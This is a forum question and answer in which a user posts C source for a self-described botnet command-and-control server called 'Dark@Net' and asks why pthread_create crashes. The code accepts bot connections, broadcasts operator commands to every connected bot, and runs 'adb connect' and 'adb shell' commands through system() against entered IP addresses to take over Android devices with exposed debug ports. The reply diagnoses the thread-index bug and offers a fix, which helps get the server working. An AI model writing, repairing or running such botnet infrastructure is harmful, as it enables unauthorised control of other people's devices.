I am stumped with this pthread_create segmentation fault. I have already used GDB to find where the fault is — any ideas? And yes it's a botnet command and control server; please no negative comments because of what it is. My intentions are good and for research, also for me to learn about tcp/ip.
Anyway, the pthread_create segmentation fault is at "pthread_create", line 249.
Any ideas why and how this is happening? Maybe even a fix?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#define TRUE 1
#define FALSE 0
#define PORT 8888
#define BUFFER_SIZE 1024
unsigned int device_count = 0;
pthread_mutex_t lock;
static void clear(void) {
printf("\033[H\033[2J");
}
static void banner(void) {
clear();
puts("\e[0;32m ██████╗ █████╗ ██████╗ ██╗ ██╗███╗ ██╗███████╗████████╗");
puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗ ██║██╔════╝╚══██╔══╝");
puts("\e[0;32m ██║ ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗ ██║ ");
puts("\e[0;32m ██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝ ██║ ");
puts("\e[0;32m ██████╔╝██║ ██║██║ ██║██║ ██╗██║ ╚████║███████╗ ██║ ");
puts("\e[0;32m ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ");
}
static void help(void) {
puts("\n ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
puts(" ║ help Displays help commands ║");
puts(" ║ list Displays the amount of bots ║");
puts(" ║ banner Displays the banner ║");
puts(" ║ clear Clears the screen ║");
puts(" ║ exit Exits the botnet ║");
puts(" ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}
static void list(void) {
printf("\nBots -> %d\n", device_count);
}
void *handle_conn(void *new_socket) {
terminal(*(int *)new_socket);
pthread_exit(NULL);
return NULL;
}
struct function {
const char *shell;
int (*function)(void);
};
struct function botnet_commands[] = {
{"?", help},
{"help", help},
{"list", list},
{"banner", banner},
{"clear", clear},
};
enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};
int handler(char shell[BUFFER_SIZE]) {
for (int i = 0; i < commands_amount; i ) {
if (strstr(shell, botnet_commands[i].shell)) {
return (*botnet_commands[i].function)();
}
}
}
void terminal(int master_socket){
int k;
int w_buf;
char shell[BUFFER_SIZE];
while(1){
pthread_mutex_lock(&lock);
printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
printf("\n\e[0;31m╚═> ");
w_buf = 0;
bzero(shell, BUFFER_SIZE);
while((shell[w_buf ] = getchar()) != '\n');
if(strncmp("send_command", shell, 12) == 0){
k = 0;
char data_send[1024];
bzero(data_send, 1024);
printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
printf("\n\e[0;31m╚═> ");
while ((data_send[k ] = getchar()) != '\n');
for (int i = 0; i <= device_count; i ) {
pthread_mutex_unlock(&lock);
if (write(master_socket, data_send, sizeof(data_send)) == -1) {
device_count--;
}
pthread_mutex_lock(&lock);
}
printf("\n[ ] Data Successfully sent!\n");
}else if (strncmp("connect", shell, 7) == 0) {
char adb_con_before[15] = "adb connect ";
char adb_con_after[15] = ":5555";
char *adb_connect_ip;
adb_connect_ip = (char *)malloc(32 * sizeof(char));
printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
printf("\n\e[0;31m╚═> ");
scanf("%s", adb_connect_ip);
strcat(adb_con_before, adb_connect_ip);
strcat(adb_con_before, adb_con_after);
system(adb_con_before);
free(adb_connect_ip);
} else if (strncmp("cmd", shell, 3) == 0) {
char adb_shell_before[15] = "adb shell ";
char *adb_cmd;
adb_cmd = (char *)malloc(32 * sizeof(char));
printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
printf("\n\e[0;31m╚═> ");
scanf("%s", adb_cmd);
strcat(adb_shell_before, adb_cmd);
system(adb_shell_before);
free(adb_cmd);
} else if (strncmp("shell", shell, 5) == 0) {
printf("\nRemember, to exit, just use the 'exit' command.");
system("adb shell");
} else if (strncmp("restart", shell, 7) == 0) {
system("adb kill-server");
system("adb start-server");
} else if (strncmp("exit", shell, 4) == 0) {
break;
} else {
handler(shell);
}
pthread_mutex_unlock(&lock);
sleep(1);
}
pthread_mutex_unlock(&lock);
}
int main(void){
banner();
int opt = TRUE;
int max_sd;
int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
struct sockaddr_in address;
char buffer[1024];
fd_set readfds;
for (i = 0; i < max_clients; i )
{
client_socket[i] = 0;
}
master_socket = socket(AF_INET, SOCK_STREAM, 0);
if(master_socket == -1){
printf("[-] Master socket setup unsuccessful...\n");
exit(0);
}else{
printf("[ ] Master socket setup successful...\n");
}
if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
printf("[-] Master socket opt setup unsuccessful...\n");
exit(0);
}else{
printf("[ ] Master socket opt setup successful...\n");
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( PORT );
if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
printf("[-] Bind setup unsuccessful...\n");
exit(0);
}else{
printf("[ ] Bind setup successful...\n");
}
if(listen(master_socket, 3) < 0){
printf("[-] Listen setup unsuccessful...\n");
exit(0);
}else{
printf("[ ] Listening...\n");
addrlen = sizeof(address);
}
pthread_t thread[150];
pthread_mutex_init(&lock, NULL);
while(1)
{
FD_ZERO(&readfds);
FD_SET(master_socket, &readfds);
max_sd = master_socket;
for(i = 0; i < max_clients; i ){
sd = client_socket[i];
if(sd > 0)
FD_SET(sd, &readfds);
if(sd > max_sd)
max_sd = sd;
}
activity = select(max_sd 1, &readfds, NULL, NULL, NULL);
if((activity < 0) && (errno!=EINTR))
{
printf("[-] Select setup unsuccessful...\n");
}else{
printf("[ ] Select setup successful...\n");
}
if(FD_ISSET(master_socket, &readfds)){
new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
if(new_socket < 0){
printf("[-] Client connection unsuccessful...\n");
exit(0);
}else{
printf("[ ] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
device_count ;
pthread_create(&thread[i ], NULL, handle_conn, &new_socket);
}
for(i = 0; i < max_clients; i ){
if(client_socket[i] == 0){
client_socket[i] = new_socket;
printf("[ ] Client added to list, ID: %d\n" , i);
break;
}
}
}
for(i = 0; i < max_clients; i ){
sd = client_socket[i];
if(FD_ISSET(sd, &readfds)){
if((valread = read(sd, buffer, 1024)) == 0){
getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);
printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));
device_count--;
close(sd);
client_socket[i] = 0;
}else{
buffer[valread] = '\0';
send(sd, buffer, strlen(buffer), 0);
}
}
}
}
return 0;
}
I have already tried GDB it told me where the fault is still don't know how to resolve this.
CodePudding user response:
The problem (in the question, there may be others) is that the variable 'i' is being used in several places, apparently for different things. It is used as a general index in three for() loops, iterating over max_clients. But it is also being used as some kind of thread counter.
By the time pthread_create() is called, 'i' is set to max_clients, which is way out of bounds for the thread[] array.
Adding a new variable to be used as the thread counter would fix the issue.
int thread_count = 0;
...
pthread_create(&thread[thread_count ], ...);
I would recommend removing the function-scoped variable 'i' entirely, and using variables scoped to their loops, e.g.
for (int i = 0; ...)
This would have made the problem more obvious, since you'd have had to figure out which variable to use to index the thread[] array.